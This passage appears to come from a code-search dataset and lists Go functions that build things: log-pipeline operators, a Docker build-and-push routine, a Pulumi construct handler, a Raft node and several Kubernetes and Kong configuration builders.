s.build.Spec.Source.Git.HTTPSProxy)\n\n\tif _, err = builder.Build(config); err != nil {\n\t\treturn err\n\t}\n\n\t// Reset proxies back to their original value.\n\tresetHTTPProxy(originalProxies)\n\n\tif push {\n\t\t// Get the Docker push authentication\n\t\tpushAuthConfig, authPresent := dockercfg.NewHelper().GetDockerAuth(\n\t\t\ttag,\n\t\t\tdockercfg.PushAuthType,\n\t\t)\n\t\tif authPresent {\n\t\t\tglog.Infof(\"Using provided push secret for pushing %s image\", tag)\n\t\t} else {\n\t\t\tglog.Infof(\"No push secret provided\")\n\t\t}\n\t\tglog.Infof(\"Pushing %s image ...\", tag)\n\t\tif err := pushImage(s.dockerClient, tag, pushAuthConfig); err != nil {\n\t\t\t// write extended error message to assist in problem resolution\n\t\t\tmsg := fmt.Sprintf(\"Failed to push image. Response from registry is: %v\", err)\n\t\t\tif authPresent {\n\t\t\t\tglog.Infof(\"Registry server Address: %s\", pushAuthConfig.ServerAddress)\n\t\t\t\tglog.Infof(\"Registry server User Name: %s\", pushAuthConfig.Username)\n\t\t\t\tglog.Infof(\"Registry server Email: %s\", pushAuthConfig.Email)\n\t\t\t\tpasswordPresent := \"<>\"\n\t\t\t\tif len(pushAuthConfig.Password) > 0 {\n\t\t\t\t\tpasswordPresent = \"<>\"\n\t\t\t\t}\n\t\t\t\tglog.Infof(\"Registry server Password: %s\", passwordPresent)\n\t\t\t}\n\t\t\treturn errors.New(msg)\n\t\t}\n\t\tglog.Infof(\"Successfully pushed %s\", tag)\n\t\tglog.Flush()\n\t}\n\treturn nil\n}","func buildStack(op string) (result *Stack) {\n\t// initialize result\n\tresult = &Stack{[]float64{}, 0}\n\n\t// \"bracketize\":\n\t// a*b*c -> (a*b)*c\n\ti := -1\n\tfor i != 0 {\n\t\ti = getOperandIndex(op)\n\n\t\tleftVal := suffixValueRegex.FindString(op[:i])\n\t\trightVal := prefixValueRegex.FindString(op[i+1:])\n\n\t\tif len(leftVal) > 0 && len(rightVal) > 0 {\n\t\t\t// append brackets\n\t\t\top = op[:i-len(leftVal)] + \"(\" +\n\t\t\t\top[i-len(leftVal):i+len(rightVal)+1] + \")\" +\n\t\t\t\top[i+len(rightVal)+1:]\n\t\t}\n\t}\n\n\t// get rid of outer brackets\n\t// while the first bracket matches the last index\n\tfor getMatchingBracketIndex(op, 0) == len(op)-1 && len(op) > 2 {\n\t\top = op[1 : len(op)-1]\n\t}\n\n\t// evaluate operation\n\ti = getOperandIndex(op)\n\n\tleftVal := suffixValueRegex.FindString(op[:i])\n\trightVal := prefixValueRegex.FindString(op[i+1:])\n\n\tresult.Push(evalValue(leftVal))\n\tresult.Push(evalValue(rightVal))\n\n\tresult.PerformOperation([]rune(op)[i])\n\n\treturn\n}","func New(c Config, storageFuns ...qmstorage.StorageTypeNewFunc) (*Operator, error) {\n\tcfg, err := newClusterConfig(c.Host, c.Kubeconfig, c.TLSInsecure, &c.TLSConfig)\n\tif err != nil {\n\t\treturn nil, logger.Err(err)\n\t}\n\tclient, err := kubernetes.NewForConfig(cfg)\n\tif err != nil {\n\t\treturn nil, logger.Err(err)\n\t}\n\n\trclient, err := NewQuartermasterRESTClient(*cfg)\n\tif err != nil {\n\t\treturn nil, logger.Err(err)\n\t}\n\n\t// Initialize storage plugins\n\tstorageSystems := make(map[spec.StorageTypeIdentifier]qmstorage.StorageType)\n\tfor _, newStorage := range storageFuns {\n\n\t\t// New\n\t\tst, err := newStorage(client, rclient)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// Save object\n\t\tstorageSystems[st.Type()] = st\n\n\t\tlogger.Info(\"storage driver %v loaded\", st.Type())\n\t}\n\n\treturn &Operator{\n\t\tkclient: client,\n\t\trclient: rclient,\n\t\tqueue: newQueue(200),\n\t\thost: cfg.Host,\n\t\tstorageSystems: storageSystems,\n\t}, nil\n}","func construct(ctx context.Context, req *pulumirpc.ConstructRequest, engineConn *grpc.ClientConn,\n\tconstructF constructFunc) (*pulumirpc.ConstructResponse, error) {\n\n\t// Configure the RunInfo.\n\trunInfo := RunInfo{\n\t\tProject: req.GetProject(),\n\t\tStack: req.GetStack(),\n\t\tConfig: req.GetConfig(),\n\t\tConfigSecretKeys: req.GetConfigSecretKeys(),\n\t\tParallel: int(req.GetParallel()),\n\t\tDryRun: req.GetDryRun(),\n\t\tMonitorAddr: req.GetMonitorEndpoint(),\n\t\tengineConn: engineConn,\n\t}\n\tpulumiCtx, err := NewContext(ctx, runInfo)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"constructing run context\")\n\t}\n\n\t// Deserialize the inputs and apply appropriate dependencies.\n\tinputDependencies := req.GetInputDependencies()\n\tdeserializedInputs, err := plugin.UnmarshalProperties(\n\t\treq.GetInputs(),\n\t\tplugin.MarshalOptions{KeepSecrets: true, KeepResources: true, KeepUnknowns: req.GetDryRun()},\n\t)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"unmarshaling inputs\")\n\t}\n\tinputs := make(map[string]interface{}, len(deserializedInputs))\n\tfor key, value := range deserializedInputs {\n\t\tk := string(key)\n\t\tvar deps []Resource\n\t\tif inputDeps, ok := inputDependencies[k]; ok {\n\t\t\tdeps = make([]Resource, len(inputDeps.GetUrns()))\n\t\t\tfor i, depURN := range inputDeps.GetUrns() {\n\t\t\t\tdeps[i] = pulumiCtx.newDependencyResource(URN(depURN))\n\t\t\t}\n\t\t}\n\n\t\tinputs[k] = &constructInput{\n\t\t\tvalue: value,\n\t\t\tdeps: deps,\n\t\t}\n\t}\n\n\t// Rebuild the resource options.\n\taliases := make([]Alias, len(req.GetAliases()))\n\tfor i, urn := range req.GetAliases() {\n\t\taliases[i] = Alias{URN: URN(urn)}\n\t}\n\tdependencyURNs := urnSet{}\n\tfor _, urn := range req.GetDependencies() {\n\t\tdependencyURNs.add(URN(urn))\n\t}\n\tproviders := make(map[string]ProviderResource, len(req.GetProviders()))\n\tfor pkg, ref := range req.GetProviders() {\n\t\tresource, err := createProviderResource(pulumiCtx, ref)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tproviders[pkg] = resource\n\t}\n\tvar parent Resource\n\tif req.GetParent() != \"\" {\n\t\tparent = pulumiCtx.newDependencyResource(URN(req.GetParent()))\n\t}\n\topts := resourceOption(func(ro *resourceOptions) {\n\t\tro.Aliases = aliases\n\t\tro.DependsOn = []func(ctx context.Context) (urnSet, error){\n\t\t\tfunc(ctx context.Context) (urnSet, error) {\n\t\t\t\treturn dependencyURNs, nil\n\t\t\t},\n\t\t}\n\t\tro.Protect = req.GetProtect()\n\t\tro.Providers = providers\n\t\tro.Parent = parent\n\t})\n\n\turn, state, err := constructF(pulumiCtx, req.GetType(), req.GetName(), inputs, opts)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Wait for async work to finish.\n\tif err = pulumiCtx.wait(); err != nil {\n\t\treturn nil, err\n\t}\n\n\trpcURN, _, _, err := urn.ToURNOutput().awaitURN(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Serialize all state properties, first by awaiting them, and then marshaling them to the requisite gRPC values.\n\tresolvedProps, propertyDeps, _, err := marshalInputs(state)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"marshaling properties\")\n\t}\n\n\t// Marshal all properties for the RPC call.\n\tkeepUnknowns := req.GetDryRun()\n\trpcProps, err := plugin.MarshalProperties(\n\t\tresolvedProps,\n\t\tplugin.MarshalOptions{KeepSecrets: true, KeepUnknowns: keepUnknowns, KeepResources: pulumiCtx.keepResources})\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"marshaling properties\")\n\t}\n\n\t// Convert the property dependencies map for RPC and remove duplicates.\n\trpcPropertyDeps := make(map[string]*pulumirpc.ConstructResponse_PropertyDependencies)\n\tfor k, deps := range propertyDeps {\n\t\tsort.Slice(deps, func(i, j int) bool { return deps[i] < deps[j] })\n\n\t\turns := make([]string, 0, len(deps))\n\t\tfor i, d := range deps {\n\t\t\tif i > 0 && urns[i-1] == string(d) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\turns = append(urns, string(d))\n\t\t}\n\n\t\trpcPropertyDeps[k] = &pulumirpc.ConstructResponse_PropertyDependencies{\n\t\t\tUrns: urns,\n\t\t}\n\t}\n\n\treturn &pulumirpc.ConstructResponse{\n\t\tUrn: string(rpcURN),\n\t\tState: rpcProps,\n\t\tStateDependencies: rpcPropertyDeps,\n\t}, nil\n}","func (self *RRSMNode) Build(addr string, initState RRSMState, configuration *RRSMConfig,\n\tRPCListenPort string, electionTimeout time.Duration, heartbeatInterval time.Duration) error {\n\tself.InitState = initState\n\tself.CurrentState = initState\n\tself.nodes = make(map[string]*rpc.RPCClient)\n\tself.addr = addr\n\n\t// init timer\n\tself.electionTimeoutTicker = nil\n\tself.electionTimeout = electionTimeout\n\tself.heartbeatTimeTicker = nil\n\tself.heartbeatInterval = heartbeatInterval\n\n\t// become a follower at the beginning\n\tself.character = RaftFOLLOWER\n\tself.currentTerm = uint64(0)\n\tself.haveVoted = false\n\n\t// init channels\n\tself.newTermChan = make(chan int, 1)\n\tself.accessLeaderChan = make(chan int, 1)\n\n\t// init lock\n\tself.termChangingLock = &sync.Mutex{}\n\tself.leaderChangingLock = &sync.Mutex{}\n\n\t// init node configuration\n\tif configuration == nil {\n\t\treturn fmt.Errorf(\"configuration is needed!\")\n\t}\n\tif len(configuration.Nodes) <= 0 {\n\t\treturn fmt.Errorf(\"config err: amounts of nodes needed to be a positive number!\")\n\t}\n\tself.config = *configuration\n\tself.amountsOfNodes = uint32(len(self.config.Nodes))\n\n\t// register rpc service\n\traftRPC := RaftRPC{\n\t\tnode: self,\n\t}\n\terr := rpc.RPCRegister(RPCListenPort, &raftRPC)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// build rpc connection with other nodes\n\tfor _, node := range self.config.Nodes {\n\t\tif node != addr {\n\t\t\tclient, err := rpc.RPCConnect(node)\n\t\t\tif err != nil {\n\t\t\t\t// need to connect with all the nodes at the period of building\n\t\t\t\treturn err\n\t\t\t} else {\n\t\t\t\tself.nodes[node] = client\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}","func (b *Builder) build(indexes []uint32) (*Condition, error) {\n\telems := make([]elementary, len(indexes))\n\tfor i, elemIdx := range indexes {\n\t\tvar err error\n\t\tif elems[i], err = b.elementary(elemIdx); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn &Condition{conds: elems}, nil\n}"],"string":"[\n \"func (c Config) Build(logger *zap.SugaredLogger) (operator.Operator, error) {\\n\\tparserOperator, err := c.ParserConfig.Build(logger)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn &Parser{\\n\\t\\tParserOperator: parserOperator,\\n\\t}, nil\\n}\",\n \"func (c TransformerConfig) Build(logger *zap.SugaredLogger) (TransformerOperator, error) {\\n\\twriterOperator, err := c.WriterConfig.Build(logger)\\n\\tif err != nil {\\n\\t\\treturn TransformerOperator{}, errors.WithDetails(err, \\\"operator_id\\\", c.ID())\\n\\t}\\n\\n\\tswitch c.OnError {\\n\\tcase SendOnError, DropOnError:\\n\\tdefault:\\n\\t\\treturn TransformerOperator{}, errors.NewError(\\n\\t\\t\\t\\\"operator config has an invalid `on_error` field.\\\",\\n\\t\\t\\t\\\"ensure that the `on_error` field is set to either `send` or `drop`.\\\",\\n\\t\\t\\t\\\"on_error\\\", c.OnError,\\n\\t\\t)\\n\\t}\\n\\n\\ttransformerOperator := TransformerOperator{\\n\\t\\tWriterOperator: writerOperator,\\n\\t\\tOnError: c.OnError,\\n\\t}\\n\\n\\tif c.IfExpr != \\\"\\\" {\\n\\t\\tcompiled, err := ExprCompileBool(c.IfExpr)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn TransformerOperator{}, fmt.Errorf(\\\"failed to compile expression '%s': %w\\\", c.IfExpr, err)\\n\\t\\t}\\n\\t\\ttransformerOperator.IfExpr = compiled\\n\\t}\\n\\n\\treturn transformerOperator, nil\\n}\",\n \"func (c *Config) Build(logger *zap.SugaredLogger) (operator.Operator, error) {\\n\\ttransformer, err := c.TransformerConfig.Build(logger)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to build transformer config: %w\\\", err)\\n\\t}\\n\\n\\tif c.IsLastEntry != \\\"\\\" && c.IsFirstEntry != \\\"\\\" {\\n\\t\\treturn nil, fmt.Errorf(\\\"only one of is_first_entry and is_last_entry can be set\\\")\\n\\t}\\n\\n\\tif c.IsLastEntry == \\\"\\\" && c.IsFirstEntry == \\\"\\\" {\\n\\t\\treturn nil, fmt.Errorf(\\\"one of is_first_entry and is_last_entry must be set\\\")\\n\\t}\\n\\n\\tvar matchesFirst bool\\n\\tvar prog *vm.Program\\n\\tif c.IsFirstEntry != \\\"\\\" {\\n\\t\\tmatchesFirst = true\\n\\t\\tprog, err = helper.ExprCompileBool(c.IsFirstEntry)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"failed to compile is_first_entry: %w\\\", err)\\n\\t\\t}\\n\\t} else {\\n\\t\\tmatchesFirst = false\\n\\t\\tprog, err = helper.ExprCompileBool(c.IsLastEntry)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"failed to compile is_last_entry: %w\\\", err)\\n\\t\\t}\\n\\t}\\n\\n\\tif c.CombineField.FieldInterface == nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"missing required argument 'combine_field'\\\")\\n\\t}\\n\\n\\tvar overwriteWithOldest bool\\n\\tswitch c.OverwriteWith {\\n\\tcase \\\"newest\\\":\\n\\t\\toverwriteWithOldest = false\\n\\tcase \\\"oldest\\\", \\\"\\\":\\n\\t\\toverwriteWithOldest = true\\n\\tdefault:\\n\\t\\treturn nil, fmt.Errorf(\\\"invalid value '%s' for parameter 'overwrite_with'\\\", c.OverwriteWith)\\n\\t}\\n\\n\\treturn &Transformer{\\n\\t\\tTransformerOperator: transformer,\\n\\t\\tmatchFirstLine: matchesFirst,\\n\\t\\tprog: prog,\\n\\t\\tmaxBatchSize: c.MaxBatchSize,\\n\\t\\tmaxSources: c.MaxSources,\\n\\t\\toverwriteWithOldest: overwriteWithOldest,\\n\\t\\tbatchMap: make(map[string]*sourceBatch),\\n\\t\\tbatchPool: sync.Pool{\\n\\t\\t\\tNew: func() interface{} {\\n\\t\\t\\t\\treturn &sourceBatch{\\n\\t\\t\\t\\t\\tentries: []*entry.Entry{},\\n\\t\\t\\t\\t\\trecombined: &bytes.Buffer{},\\n\\t\\t\\t\\t}\\n\\t\\t\\t},\\n\\t\\t},\\n\\t\\tcombineField: c.CombineField,\\n\\t\\tcombineWith: c.CombineWith,\\n\\t\\tforceFlushTimeout: c.ForceFlushTimeout,\\n\\t\\tticker: time.NewTicker(c.ForceFlushTimeout),\\n\\t\\tchClose: make(chan struct{}),\\n\\t\\tsourceIdentifier: c.SourceIdentifier,\\n\\t\\tmaxLogSize: int64(c.MaxLogSize),\\n\\t}, nil\\n}\",\n \"func (c Config) Build(logger *zap.SugaredLogger) (operator.Operator, error) {\\n\\tinputOperator, err := c.InputConfig.Build(logger)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tif c.ListenAddress == \\\"\\\" {\\n\\t\\treturn nil, fmt.Errorf(\\\"missing required parameter 'listen_address'\\\")\\n\\t}\\n\\n\\taddress, err := net.ResolveUDPAddr(\\\"udp\\\", c.ListenAddress)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to resolve listen_address: %w\\\", err)\\n\\t}\\n\\n\\tenc, err := decoder.LookupEncoding(c.Encoding)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\t// Build multiline\\n\\tsplitFunc, err := c.Multiline.Build(enc, true, c.PreserveLeadingWhitespaces, c.PreserveTrailingWhitespaces, MaxUDPSize)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tvar resolver *helper.IPResolver\\n\\tif c.AddAttributes {\\n\\t\\tresolver = helper.NewIPResolver()\\n\\t}\\n\\n\\tudpInput := &Input{\\n\\t\\tInputOperator: inputOperator,\\n\\t\\taddress: address,\\n\\t\\tbuffer: make([]byte, MaxUDPSize),\\n\\t\\taddAttributes: c.AddAttributes,\\n\\t\\tencoding: enc,\\n\\t\\tsplitFunc: splitFunc,\\n\\t\\tresolver: resolver,\\n\\t\\tOneLogPerPacket: c.OneLogPerPacket,\\n\\t}\\n\\treturn udpInput, nil\\n}\",\n \"func (c Config) Build(logger *zap.SugaredLogger) (operator.Operator, error) {\\n\\tparserOperator, err := c.ParserConfig.Build(logger)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tif c.FieldDelimiter == \\\"\\\" {\\n\\t\\tc.FieldDelimiter = \\\",\\\"\\n\\t}\\n\\n\\tif c.HeaderDelimiter == \\\"\\\" {\\n\\t\\tc.HeaderDelimiter = c.FieldDelimiter\\n\\t}\\n\\n\\tif c.IgnoreQuotes && c.LazyQuotes {\\n\\t\\treturn nil, errors.New(\\\"only one of 'ignore_quotes' or 'lazy_quotes' can be true\\\")\\n\\t}\\n\\n\\tfieldDelimiter := []rune(c.FieldDelimiter)[0]\\n\\theaderDelimiter := []rune(c.HeaderDelimiter)[0]\\n\\n\\tif len([]rune(c.FieldDelimiter)) != 1 {\\n\\t\\treturn nil, fmt.Errorf(\\\"invalid 'delimiter': '%s'\\\", c.FieldDelimiter)\\n\\t}\\n\\n\\tif len([]rune(c.HeaderDelimiter)) != 1 {\\n\\t\\treturn nil, fmt.Errorf(\\\"invalid 'header_delimiter': '%s'\\\", c.HeaderDelimiter)\\n\\t}\\n\\n\\tvar headers []string\\n\\tswitch {\\n\\tcase c.Header == \\\"\\\" && c.HeaderAttribute == \\\"\\\":\\n\\t\\treturn nil, errors.New(\\\"missing required field 'header' or 'header_attribute'\\\")\\n\\tcase c.Header != \\\"\\\" && c.HeaderAttribute != \\\"\\\":\\n\\t\\treturn nil, errors.New(\\\"only one header parameter can be set: 'header' or 'header_attribute'\\\")\\n\\tcase c.Header != \\\"\\\" && !strings.Contains(c.Header, c.HeaderDelimiter):\\n\\t\\treturn nil, errors.New(\\\"missing field delimiter in header\\\")\\n\\tcase c.Header != \\\"\\\":\\n\\t\\theaders = strings.Split(c.Header, c.HeaderDelimiter)\\n\\t}\\n\\n\\treturn &Parser{\\n\\t\\tParserOperator: parserOperator,\\n\\t\\theader: headers,\\n\\t\\theaderAttribute: c.HeaderAttribute,\\n\\t\\tfieldDelimiter: fieldDelimiter,\\n\\t\\theaderDelimiter: headerDelimiter,\\n\\t\\tlazyQuotes: c.LazyQuotes,\\n\\t\\tignoreQuotes: c.IgnoreQuotes,\\n\\t\\tparse: generateParseFunc(headers, fieldDelimiter, c.LazyQuotes, c.IgnoreQuotes),\\n\\t}, nil\\n}\",\n \"func (c Config) Build(logger *zap.SugaredLogger) (*DirectedPipeline, error) {\\n\\tif logger == nil {\\n\\t\\treturn nil, errors.NewError(\\\"logger must be provided\\\", \\\"\\\")\\n\\t}\\n\\tif c.Operators == nil {\\n\\t\\treturn nil, errors.NewError(\\\"operators must be specified\\\", \\\"\\\")\\n\\t}\\n\\n\\tif len(c.Operators) == 0 {\\n\\t\\treturn nil, errors.NewError(\\\"empty pipeline not allowed\\\", \\\"\\\")\\n\\t}\\n\\n\\tsampledLogger := logger.Desugar().WithOptions(\\n\\t\\tzap.WrapCore(func(core zapcore.Core) zapcore.Core {\\n\\t\\t\\treturn zapcore.NewSamplerWithOptions(core, time.Second, 1, 10000)\\n\\t\\t}),\\n\\t).Sugar()\\n\\n\\tdedeplucateIDs(c.Operators)\\n\\n\\tops := make([]operator.Operator, 0, len(c.Operators))\\n\\tfor _, opCfg := range c.Operators {\\n\\t\\top, err := opCfg.Build(sampledLogger)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tops = append(ops, op)\\n\\t}\\n\\n\\tfor i, op := range ops {\\n\\t\\t// Any operator that already has an output will not be changed\\n\\t\\tif len(op.GetOutputIDs()) > 0 {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// Any operator (except the last) will just output to the next\\n\\t\\tif i+1 < len(ops) {\\n\\t\\t\\top.SetOutputIDs([]string{ops[i+1].ID()})\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// The last operator may output to the default output\\n\\t\\tif op.CanOutput() && c.DefaultOutput != nil {\\n\\t\\t\\tops = append(ops, c.DefaultOutput)\\n\\t\\t\\top.SetOutputIDs([]string{ops[i+1].ID()})\\n\\t\\t}\\n\\t}\\n\\n\\treturn NewDirectedPipeline(ops)\\n}\",\n \"func Build(config map[string]interface{}) {\\n}\",\n \"func (c CSVParserConfig) Build(context operator.BuildContext) ([]operator.Operator, error) {\\n\\tparserOperator, err := c.ParserConfig.Build(context)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tif c.Header == \\\"\\\" {\\n\\t\\treturn nil, fmt.Errorf(\\\"Missing required field 'header'\\\")\\n\\t}\\n\\n\\tif c.FieldDelimiter == \\\"\\\" {\\n\\t\\tc.FieldDelimiter = \\\",\\\"\\n\\t}\\n\\n\\tif len([]rune(c.FieldDelimiter)) != 1 {\\n\\t\\treturn nil, fmt.Errorf(\\\"Invalid 'delimiter': '%s'\\\", c.FieldDelimiter)\\n\\t}\\n\\n\\tfieldDelimiter := []rune(c.FieldDelimiter)[0]\\n\\n\\tif !strings.Contains(c.Header, c.FieldDelimiter) {\\n\\t\\treturn nil, fmt.Errorf(\\\"missing field delimiter in header\\\")\\n\\t}\\n\\n\\tnumFields := len(strings.Split(c.Header, c.FieldDelimiter))\\n\\n\\tdelimiterStr := string([]rune{fieldDelimiter})\\n\\tcsvParser := &CSVParser{\\n\\t\\tParserOperator: parserOperator,\\n\\t\\theader: strings.Split(c.Header, delimiterStr),\\n\\t\\tfieldDelimiter: fieldDelimiter,\\n\\t\\tnumFields: numFields,\\n\\t}\\n\\n\\treturn []operator.Operator{csvParser}, nil\\n}\",\n \"func NewRestructureOperatorConfig(operatorID string) *RestructureOperatorConfig {\\n\\treturn &RestructureOperatorConfig{\\n\\t\\tTransformerConfig: helper.NewTransformerConfig(operatorID, \\\"restructure\\\"),\\n\\t}\\n}\",\n \"func (runtime *Runtime) Build(claset tabula.ClasetInterface) (e error) {\\n\\t// Re-check input configuration.\\n\\tswitch runtime.SplitMethod {\\n\\tcase SplitMethodGini:\\n\\t\\t// Do nothing.\\n\\tdefault:\\n\\t\\t// Set default split method to Gini index.\\n\\t\\truntime.SplitMethod = SplitMethodGini\\n\\t}\\n\\n\\truntime.Tree.Root, e = runtime.splitTreeByGain(claset)\\n\\n\\treturn\\n}\",\n \"func (c StdoutConfig) Build(context operator.BuildContext) ([]operator.Operator, error) {\\n\\toutputOperator, err := c.OutputConfig.Build(context)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\top := &StdoutOperator{\\n\\t\\tOutputOperator: outputOperator,\\n\\t\\tencoder: json.NewEncoder(Stdout),\\n\\t}\\n\\treturn []operator.Operator{op}, nil\\n}\",\n \"func New(config Config) (*Operator, error) {\\n\\t// Dependencies.\\n\\tif config.BackOff == nil {\\n\\t\\treturn nil, microerror.Maskf(invalidConfigError, \\\"config.BackOff must not be empty\\\")\\n\\t}\\n\\tif config.Framework == nil {\\n\\t\\treturn nil, microerror.Maskf(invalidConfigError, \\\"config.Framework must not be empty\\\")\\n\\t}\\n\\tif config.Informer == nil {\\n\\t\\treturn nil, microerror.Maskf(invalidConfigError, \\\"config.Informer must not be empty\\\")\\n\\t}\\n\\tif config.Logger == nil {\\n\\t\\treturn nil, microerror.Maskf(invalidConfigError, \\\"config.Logger must not be empty\\\")\\n\\t}\\n\\tif config.TPR == nil {\\n\\t\\treturn nil, microerror.Maskf(invalidConfigError, \\\"config.TPR must not be empty\\\")\\n\\t}\\n\\n\\tnewOperator := &Operator{\\n\\t\\t// Dependencies.\\n\\t\\tbackOff: config.BackOff,\\n\\t\\tframework: config.Framework,\\n\\t\\tinformer: config.Informer,\\n\\t\\tlogger: config.Logger,\\n\\t\\ttpr: config.TPR,\\n\\n\\t\\t// Internals\\n\\t\\tbootOnce: sync.Once{},\\n\\t\\tmutex: sync.Mutex{},\\n\\t}\\n\\n\\treturn newOperator, nil\\n}\",\n \"func BuildOperator(ctx context.Context) error {\\n\\tfmt.Println(\\\"Running operator binary build\\\")\\n\\tout, err := goBuild(\\\"bin/operator\\\", \\\"./operator\\\")\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfmt.Println(\\\"Finished building operator\\\")\\n\\tfmt.Println(\\\"Command Output: \\\", out)\\n\\n\\treturn nil\\n}\",\n \"func (config *Config) Build() (Buffer, error) {\\n\\tswitch config.BufferType {\\n\\tcase \\\"memory\\\", \\\"\\\":\\n\\t\\treturn NewMemoryBuffer(config), nil\\n\\tdefault:\\n\\t\\treturn nil, errors.NewError(\\n\\t\\t\\tfmt.Sprintf(\\\"Invalid buffer type %s\\\", config.BufferType),\\n\\t\\t\\t\\\"The only supported buffer type is 'memory'\\\",\\n\\t\\t)\\n\\t}\\n}\",\n \"func Build(crw conf.Rewrites) (Rewrites, error) {\\n\\tvar rw Rewrites\\n\\tfor _, cr := range crw.Rewrite {\\n\\t\\tr := Rewrite{\\n\\t\\t\\tFrom: cr.From,\\n\\t\\t\\tTo: cr.To,\\n\\t\\t\\tCopy: cr.Copy,\\n\\t\\t}\\n\\n\\t\\trw = append(rw, r)\\n\\t}\\n\\n\\terr := rw.Compile()\\n\\tif err != nil {\\n\\t\\treturn rw, errors.Wrap(err, \\\"rewrite rule compilation failed :\\\")\\n\\t}\\n\\n\\treturn rw, nil\\n}\",\n \"func Build(namespace, name, strategyType, fromKind, fromNamespace, fromName string) buildapi.Build {\\n\\treturn buildapi.Build{\\n\\t\\tObjectMeta: metav1.ObjectMeta{\\n\\t\\t\\tNamespace: namespace,\\n\\t\\t\\tName: name,\\n\\t\\t\\tSelfLink: \\\"/build/\\\" + name,\\n\\t\\t},\\n\\t\\tSpec: buildapi.BuildSpec{\\n\\t\\t\\tCommonSpec: CommonSpec(strategyType, fromKind, fromNamespace, fromName),\\n\\t\\t},\\n\\t}\\n}\",\n \"func (c *config) Build() *dataX.Config {\\n\\treturn &dataX.Config{}\\n}\",\n \"func (s *spec) build(state State, more ...State) (*spec, error) {\\n\\tstates := map[Index]State{\\n\\t\\tstate.Index: state,\\n\\t}\\n\\n\\tfor _, st := range more {\\n\\t\\tif _, has := states[st.Index]; has {\\n\\t\\t\\terr := ErrDuplicateState{spec: s, Index: st.Index}\\n\\t\\t\\treturn s, err\\n\\t\\t}\\n\\t\\tstates[st.Index] = st\\n\\t}\\n\\n\\t// check referential integrity\\n\\tsignals, err := s.compile(states)\\n\\tif err != nil {\\n\\t\\treturn s, err\\n\\t}\\n\\n\\ts.states = states\\n\\ts.signals = signals\\n\\treturn s, err\\n}\",\n \"func Build(log logrus.FieldLogger, s store.Storer) (*kongstate.KongState, error) {\\n\\tparsedAll := parseAll(log, s)\\n\\tparsedAll.populateServices(log, s)\\n\\n\\tvar result kongstate.KongState\\n\\t// add the routes and services to the state\\n\\tfor _, service := range parsedAll.ServiceNameToServices {\\n\\t\\tresult.Services = append(result.Services, service)\\n\\t}\\n\\n\\t// generate Upstreams and Targets from service defs\\n\\tresult.Upstreams = getUpstreams(log, s, parsedAll.ServiceNameToServices)\\n\\n\\t// merge KongIngress with Routes, Services and Upstream\\n\\tresult.FillOverrides(log, s)\\n\\n\\t// generate consumers and credentials\\n\\tresult.FillConsumersAndCredentials(log, s)\\n\\n\\t// process annotation plugins\\n\\tresult.FillPlugins(log, s)\\n\\n\\t// generate Certificates and SNIs\\n\\tresult.Certificates = getCerts(log, s, parsedAll.SecretNameToSNIs)\\n\\n\\t// populate CA certificates in Kong\\n\\tvar err error\\n\\tcaCertSecrets, err := s.ListCACerts()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tresult.CACertificates = toCACerts(log, caCertSecrets)\\n\\n\\treturn &result, nil\\n}\",\n \"func (c *Config) Build() *Godim {\\n\\tif c.appProfile == nil {\\n\\t\\tc.appProfile = newAppProfile()\\n\\t}\\n\\tc.appProfile.lock()\\n\\tif c.activateES {\\n\\t\\tc.eventSwitch = NewEventSwitch(c.bufferSize)\\n\\t}\\n\\treturn NewGodim(c)\\n}\",\n \"func (b Builder) Build(q string, opts ...Option) (*ast.Ast, error) {\\n\\tf, err := Parse(\\\"\\\", []byte(q), opts...)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn f.(*ast.Ast), nil\\n}\",\n \"func (o FunctionBuildConfigOutput) Build() pulumi.StringPtrOutput {\\n\\treturn o.ApplyT(func(v FunctionBuildConfig) *string { return v.Build }).(pulumi.StringPtrOutput)\\n}\",\n \"func (m *Module) Build(s *system.System) {\\n\\tr := s.CommandRouter\\n\\n\\tt, err := system.NewSubCommandRouter(`^config(\\\\s|$)`, \\\"config\\\")\\n\\tif err != nil {\\n\\t\\tlog.Println(err)\\n\\t\\treturn\\n\\t}\\n\\tt.Router.Prefix = \\\"^\\\"\\n\\tr.AddSubrouter(t)\\n\\n\\tt.CommandRoute = &system.CommandRoute{\\n\\t\\tName: \\\"config\\\",\\n\\t\\tDesc: \\\"configures guild settings\\\",\\n\\t\\tHandler: Auth(CmdConfig),\\n\\t}\\n\\n\\tk := 